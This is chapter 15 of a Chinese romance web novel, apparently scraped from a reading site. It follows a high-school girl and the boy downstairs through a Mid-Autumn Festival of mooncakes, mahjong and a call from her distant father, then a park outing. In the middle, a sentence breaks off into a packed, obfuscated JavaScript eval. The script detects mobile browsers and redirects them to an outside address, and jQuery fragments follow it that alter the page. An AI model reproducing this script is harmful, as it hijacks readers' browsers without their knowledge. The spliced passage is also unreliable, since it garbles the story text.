15. 第 15 章

作品:《挽夏

    中秋节。


    一早,外头就下起了大雨。


    正所谓一场秋雨一场寒,风裹挟着湿漉漉的凉意往屋里钻——


    苏城终于真正迎来了秋天。


    房间里,林挽夏正翻箱倒柜地找出自己的厚衣服,外婆边给她换上厚被子,边絮絮叨叨地说着:“这天气说变就变,一下就这么冷了……”


    “下午咱们做月饼,晚上我再烧上几个好菜,你去把小江叫来一块吃个饭……”


    “也不知道他家里人怎么想的,这么好一个孩子,丢在这里不闻不问,大过节的连顿团圆饭也吃不上,可怜见的……”


    林挽夏想到昨天江砚年的话,披外套的动作一顿——


    或许对他来说,回家也并不是一件值得高兴的事吧。


    午饭后,林挽夏抱着卷子往楼下跑。


    门打开,江砚年看着她又恢复了往日的元气,暗自松了口气:“今天这么早?”


    “嗯,下午要帮阿婆做月饼……”林挽夏话音一顿,吸了吸鼻子,“你在做饭啊?”


    “嗯。”江砚年关上门,往厨房走去,不咸不淡地问了一句,“要吃吗?”


    “不用啦,我刚吃饱。”林挽夏虽然吃不下,但对他会开火这件事很惊奇,像条小尾巴一样跟进了厨房。


    江砚年的午饭很简单。他捞出烫好的面条,往锅里倒了点油开始炒青菜。


    林挽夏正歪着脑袋看那碗冒着热气的素面,冷不丁被滋滋作响的热油吓了一跳,下意识地缩到他身后,像只受惊的小兔子。


    江砚年的眼底浮现出些许无奈,把火关小了点:“你先出去。”


    林挽夏以为是自己在这里碍事了,有些不好意思地垂下了脑袋,刚要退出去,就听见少年轻轻地补了句:“厨房油烟大。”


    “……嗯。”林挽夏不自觉地弯了弯唇角,乖乖地回到客厅写作业。


    午后,一室静谧。


    直到墙上时钟的时针指向“3”,林挽夏把笔一丢,胡乱地抓了把头发:“不行了,头皮好痛,好像要长脑子了……”


    江砚年好笑地看她一眼,拿起她面前的物理卷子,很快圈出几道题:“这几题不对。”


    林挽夏哀嚎一声,挎起个小猫批脸:“太难了,明天再学吧……”


    江砚年安静地垂眸看她,没应声。


    林挽夏知道,这是不行的意思。


    她扯了扯江砚年的衣袖,试图挣扎:“今天是中秋哎,大过节的,开心一点嘛!”


    少年平静地吐出一句:“我不过中秋。”


    “那怎么行?!阿婆还让你晚上来我们家吃饭呢!”林挽夏的话题瞬间跑偏。


    江砚年怔了下,有些不自然地偏过头:“不用了。”


    “哎呀你来嘛,今年中秋我们家就只有我和阿公阿婆,你来了还热闹点……”林挽夏凑到他面前,拽着他的外套袖子开始撒泼打滚。


    江砚年的胳膊被她扯得晃来晃去,听着女孩软乎乎的声音,终究还是没舍得冷下脸来。


    他把自己皱巴巴的袖子从她手中解救出来,语气里染上些淡淡的无奈:“你先把这些题学会了再说。”


    这是松口的意思。


    林挽夏的眼睛亮了亮,立马做出一副洗耳恭听的乖巧模样:“好,那你讲吧,我保证好好听!”


    一个小时后。


    “好了好了,我都学会了!快走吧,这会儿回去还能赶得上做月饼……”林挽夏忙不迭地收拾东西要回家。


    事实证明,就算江砚年长得再好看,声音再好听,也无法点燃她对物理的热爱。


    江砚年无奈地瞥她一眼,把她堆得乱七八糟的卷子一张张叠好,在林挽夏期盼的目光中,和她一起出了门。


    “阿公阿婆,我们来啦!”


    一推开门,二老正从冰箱里取出提前备好的油皮、油酥和鲜肉馅。


    “小江也来啦?快坐快坐!阿公阿婆教你们做月饼。”


    少年少女并排坐在餐桌的一侧,往二老擀好的面皮里塞肉馅。


    “我们苏城人爱吃鲜肉月饼,也不知道你吃不吃得惯……”林挽夏有些费劲地从盆里舀出一勺肉馅,嘴上念叨着。


    江砚年伸手帮她扶着盆,怔了一下,实话实说:“我没吃过,但不挑。”


    以往的中秋节,江老爷子总要在老宅办家宴,吃月饼只是家宴的流程之一。对他来说,那些包装精致的月饼是什么口味根本不重要。


    外婆插话进来:“不挑食好啊,夏夏你学学人家小江,别整天让我操心……”


    林挽夏是有点挑食的,这点江砚年也发现了。


    每回在食堂吃饭,她都会慢吞吞地把自己不爱吃的东西先挑出来,到最后真正吃下去的也没多少。


    见桌上三人的视线都落在自己身上,林挽夏吐了吐舌头:“我只是不喜欢吃的东西比较多……”


    江砚年的眼里闪过一丝笑意,没做声。


    外公瞥了眼林挽夏手边歪七扭八的月饼团子,没忍住吐槽:“每年都做月饼,夏夏你这手艺怎么一点长进都没有……”


    林挽夏假装没听到,扭头看了看江砚年面前整整齐齐躺着的两排月饼团子,漂亮得好像是工厂流水线生产出来的。


    嫉妒使人面目全非,她忍不住轻哼一声。


    江砚年微一勾唇,接过她刚放下的团子,好心地帮她拯救了一下。


    这天的晚饭很丰盛,有林挽夏爱吃的大闸蟹。


    她正美滋滋地剥着蟹壳,家里的座机响了。


    外公接起来说了几句。


    江砚年隐约听到那头是个中年男人的声音,一旁的林挽夏像是意识到什么,兴致缺缺地放下蟹腿,擦了擦手。


    果不其然,外公喊她:“夏夏,是你爸爸,你来跟他说。”


    林挽夏“哦”了一声,起身接过电话:“喂?”


    “挽夏啊,你们吃饭了吗?”


    那头的林东海像是喝了点酒,兴致高昂地跟她唠了几句家常,无非是问问天气、聊聊学习,再关心关心她的钱够不够花。


    林挽夏不咸不淡地应付着,等着他聊不下去了挂断电话。


    父女俩的通话频率不高,一个月两三次,同样的话翻来覆去地讲。


    对于林挽夏来说,儿时的她或许还会期待父亲的关心,但现在不过是完成一个固定任务。


    如果可以,她更愿意回到饭桌上同那只大闸蟹继续作斗争。


    林东海东拉西扯地讲了几分钟,末了,那头传来小孩的笑闹声。


    林挽夏知道,那是八岁的林星瑶——她同父异母的妹妹。


    她隐约听到林东海说了句“来和你姐姐打个招呼吧”,林星瑶嘟囔着“我哪有姐姐”,惹来林东海不高兴的低声训斥。


    林挽夏没兴趣参演他们其乐融融的家庭戏码,淡淡地开口:“没什么事我就先挂了,阿公阿婆还等着我吃饭。”


    说罢,她就径直挂断了电话。


    回到饭桌上,外公外婆正说着过两天去临市的事情,林挽夏一低头,就见到碗里躺着两只去了壳的肥美蟹钳。


    她眨了眨眼,转头看向江砚年。他正掀开蟹壳,露出里头金黄的蟹膏。


    察觉到女孩的目光,他微微抬手:“要吃吗?”


    林挽夏摇摇头,表示她不喜欢吃蟹黄。


    她拿起蟹钳咬了一口,味道鲜美极了,胸口那股若有似无的郁气顿时消失得无影无踪。


    她朝少年露出个心满意足的笑:“谢谢。”


    江砚年微微勾唇,把蟹黄倒进了自己碗里。


    “夏夏,后天你舅舅要来接我们去扬城,你要去吗?”外婆问道。


    林挽夏咽下嘴里的蟹肉,摆了摆手:“我不去了吧,马上月考了,我在家复习复习。”


    “那行,你手受伤了还是不要来回折腾……那我和你阿公早点回来吧……”


    见二老面露纠结,林挽夏赶紧打断:“不用不用,你们放心去吧,好不容易有空过去一趟,我在家能有什么事?”


    林挽夏生活里虽然时不时犯迷糊,但性格却是比这个年纪的大多数女孩都要独立。


    她劝了几句,又搬出江砚年,说自己有他看着肯定没问题,二老这才放下心来,又叮嘱了几句。


    饭后,外公外婆起了兴致,拉着两人边吃月饼,边打麻将。


    二老都是麻将桌上的老手,江砚年会算牌,只有林挽夏是个半吊子。


    几轮下来,她面前的筹码已经输得所剩无几。


    林挽夏扁了扁嘴,眼神幽幽地看着气定神闲的三人:“你们都不让让我吗?”


    “你阿婆在牌桌上可是一向不会手下留情的。”外公调侃道,惹来外婆的几句笑骂。


    江砚年的眉眼间染上些笑意,主动开口:“那这轮换个方向打吧。”


    于是,林挽夏就成了江砚年的下家。


    这样一来,她惊奇地发现自己的牌运好了不少,江砚年打的许多牌都被她吃了。


    末了,她率先进入到听牌阶段。


    她的心思一向好猜。


    看着女孩紧张兮兮的表情,江砚年不动声色地勾了勾唇角,丢出张“五万”。


    “哗啦——我胡啦!”林挽夏猛地推倒面前的牌,眉眼间满是得意的笑,伸出手,一副求夸奖的生动表情,“清一色!我厉害吧?给钱给钱!”


    外公外婆有些意外地看着牌桌上的残局,很快便发现端倪:“是小江故意让你的吧?”


    林挽夏顿时怒目圆瞪:“明明是我自己厉害好不好!”


    江砚年轻笑一声,主动往她手里放上一叠厚厚的筹码,一贯清冷的声线里也染上笑意:“我没让她,确实厉害。”


    ……


    麻将砸在桌上的声音脆响此起彼伏,祖孙三人乐此不疲地打着嘴仗,电视机里的中秋晚会成了背景音乐,整个屋子里闹哄哄一片。


    外头的雨还在淅淅沥沥地下,雨丝织成一张灰蒙蒙的网,将本该悬在中天的满月遮得严严实实,反倒衬得屋里的暖意愈发浓稠。


    暖黄的灯光下,满室的笑语和月饼的香气揉在一起,江砚年忍不住,极轻极轻地弯了下嘴角。


    直到很多年后,江砚年都记得这一天——


    那年的八月十五没有月亮,却是第一个让他感到幸福完满的中秋节。


    ……


    两天后,外公外婆去了扬城,林挽夏开启独居生活。


    说是独居,实则她只自己在家待了不到一个小时,就吭哧吭哧地跑下楼。


    不曾想,她的手刚抬起,江砚年家的门就开了。


    “哇塞,这么心有灵犀吗?你怎么感应到我在外面的?”江砚年垂眸,就见到女孩仰着脑袋,眼睛亮亮地看着他。


    他嘴角抽了抽——这姑娘的脑洞还是一如既往的大。


    “你今天该去医院复查了。”少年有些无奈地提醒道。


    “啊,好吧……”


    节假日的医院依旧人山人海,等林挽夏复查完出来,天都快黑了。


    好在医生说她恢复得不错,再养两周就可以拆石膏了。


    两人慢悠悠地散步回家。


    经过一家生鲜超市时,江砚年拐进去:“这两天想吃什么?”


    林挽夏愣了愣,看了眼货架上五花八门的蔬菜禽肉,有些意外:“你要煮饭啊?”


    江砚年微微挑眉,似笑非笑地反问道:“不然你煮?”


    林挽夏连忙摆手,她也就只能给自己下个泡面,厨艺实在是拿不出手。


    这边江砚年正挑着菜,林挽夏的眼睛却止不住地往对面的零食架瞟。


    由于外公外婆坚定地认为零食饮料都是垃圾食品,她在家一向没有什么零食自由。


    见她一副小馋猫的模样,江砚年觉得有些好笑,主动开口:“你想吃零食的话就去挑点吧。”


    “真的吗?那你帮我保密哦!”


    女孩一脸惊喜地跑开,少年无奈地扯了扯嘴角。


    于是这一天,林挽夏如愿以偿地得到了一大包垃圾食品,寄存在江砚年家。


    用她的话来说——两人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203150|197283||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的共同财产+N。


    除此之外,这天的另一个惊喜来自于江砚年的厨艺。


    看着餐桌上色香味俱全的饭菜,林挽夏给出了“只比阿婆差一点点”的高度评价,很给面子地进行了光盘行动。


    饭后,她站在厨房里看江砚年洗碗。


    虽然她很想帮忙,但的确是有心无力,只能起到一个陪伴的作用。


    少年的动作干净利落,三下五除二就把锅碗瓢盆刷得干干净净。


    跟他一起生活肯定是件很幸福的事。


    ——林挽夏的脑海中不禁浮现出这个念头。


    回过神时,她吓了一跳,耳根悄悄地红了红,暗骂自己一定是最近少女漫看多了,才会有这种不纯洁的想法。


    她拉开冰箱,想喝瓶汽水冷静一下,冷不丁地,听见江砚年语气沉沉地喊她——


    “林挽夏。”


    “啊?”她懵懵地回头。


    江砚年大步上前,不由分说地关上了冰箱,语气有些强硬:“今天不能喝。”


    “为什么?”她不甘地撇了撇嘴,有那么一瞬间,甚至怀疑是不是江砚年想独占她的桃子汽水。


    看着她警惕的眼神,江砚年立马明白她在想什么,额角抽了抽:“前几天是谁肚子疼得不行,发誓这周都不喝汽水了?”


    林挽夏愣了愣,终于想起自己的例假还没结束,不情不愿地松了手。


    ……


    一晃眼,就到了假期最后一天。


    尽管作业已经写完了,这天下午,林挽夏还是照例去找江砚年复习。


    她抬头望着外头放晴的天空,忍不住长长地叹了一口气:“好难过啊……”


    江砚年已经习惯了她时不时的大喜大悲,淡定地瞥她一眼:“为什么?”


    “明天就要上学了,可是我这个假期也一直在学习,这么好的天气都没有出去玩,我好可怜……”林挽夏哭丧着一张小脸,叽里咕噜地吐出一连串话。


    江砚年的眼底浮现出一抹无奈,顺着她的视线往外看了一眼:“那走吧。”


    林挽夏一愣:“去哪?”


    江砚年站起身来,居高临下地望着她,挑了挑眉:“不是想出去玩?”


    林挽夏眼尾一扬,惊喜的笑意从眼底漫开:“真的呀?”


    像是怕他反悔似的,她一骨碌爬起来,换好鞋跑了出去。


    江砚年捡起她落在沙发上的外套,不紧不慢地追上她:“穿上。”


    两人慢悠悠地走到小区旁边的公园。


    阳光正好,老人们三三两两地聚在一起聊天,小孩们围着假山爬上爬下。


    林挽夏的眼底生出些艳羡:“要是可以一下子变小或者变老就好了。”


    江砚年向她投去一个一言难尽的眼神。


    冷不丁地,林挽夏突然异想天开地问他:“要是可以选,你想回到过去,还是去到未来?”


    江砚年怔了怔,对上她水灵灵的杏眼,声音有些轻,却足够她听清:“都不想。现在就很好。”


    他的过去,并不是什么值得怀念的回忆;


    他的未来,也许会是好的,但他从不寄希望于未发生之事。


    ——唯有现在,身边有她,对他来说就足够好。


    林挽夏歪着脑袋想了想,从另一个角度理解了这个答案:“也对,我以前小时候有点胖,以后老了肯定脸上都是皱纹,还是现在好,漂漂亮亮的。”


    说着,她弯了弯眉眼,惹得江砚年不禁失笑。


    忽地,一个顽皮的小孩嬉笑着从后面跑来,擦身而过的瞬间,林挽夏被撞得踉跄一步。


    江砚年眉心一跳,眼疾手快地扶住她,瞳色瞬间冷了下来。


    小孩回头撞上江砚年冰冷的神色,被吓得哆哆嗦嗦地道歉。


    “没事,你去玩吧。”林挽夏很是大度地摆摆手。


    小孩立马一溜烟地跑了。林挽夏若有所思地盯着他的背影,站在原地没动。


    江砚年蹙了蹙眉,不放心地把她从头到脚好好打量了一遍:“怎么了?”


    林挽夏回过神来,冲他无辜地眨了眨眼:“我只是在想,他的糖葫芦是在哪买的。”


    江砚年:“……”


    等两人找到卖糖葫芦的摊位,林挽夏摸了摸口袋,发现自己身无分文。


    “你挑吧,我来买。”江砚年及时开口,化解了她的尴尬。


    ——果然是人美心善的小仙男呀。


    林挽夏朝他甜甜一笑,挑了一串又大又圆的山楂。


    女孩毫不顾忌形象地蹲在垃圾桶边,咔滋咔滋地嚼着,含糊不清地点评了一句:“还是北城的糖葫芦好吃。”


    江砚年落在她身上的眸光一顿,眼底升起些讶异:“你去过北城?”


    “去过啊,我亲爹在北城,每年过年都得叫我过去一趟,烦死了。”


    “北城的冬天又冷又干,街上人山人海全是游客,除了冰糖葫芦,什么都不好。”


    林挽夏用力地咬了口糖葫芦,愤愤地抱怨道。


    江砚年的思绪有些飘忽——


    是啊,北城一点都不好,像一个牢笼,禁锢了他十几年。


    他垂眸,安静地看着像只小仓鼠一样鼓着腮帮子进食的女孩。


    等林挽夏吃得差不多了,他蹲下身,拧开手上的矿泉水递给她,声音轻轻的:“你父亲对你好吗?”


    林挽夏接了点水,边洗着手,满不在乎地回答:“还行吧。我很小的时候他就去北城工作了,本来感情也不怎么深厚,他和我妈妈离婚之后又组建了新的家庭,见面就更少了……不过,他每个月都会给我转一大笔生活费,还算是个有良心的男人。”


    江砚年听她一本正经地评价着自己的亲生父亲,第一次从她眼里看到这样的成熟和洒脱,心中却是有些酸涩。


    下一刻,林挽夏站起身,语调里透出些轻快:“走吧,回去复习。”


    江砚年一怔,看着女孩亮晶晶的眸子,眼底升起几分淡淡的笑意——


    没想到一根糖葫芦就把这姑娘哄好了。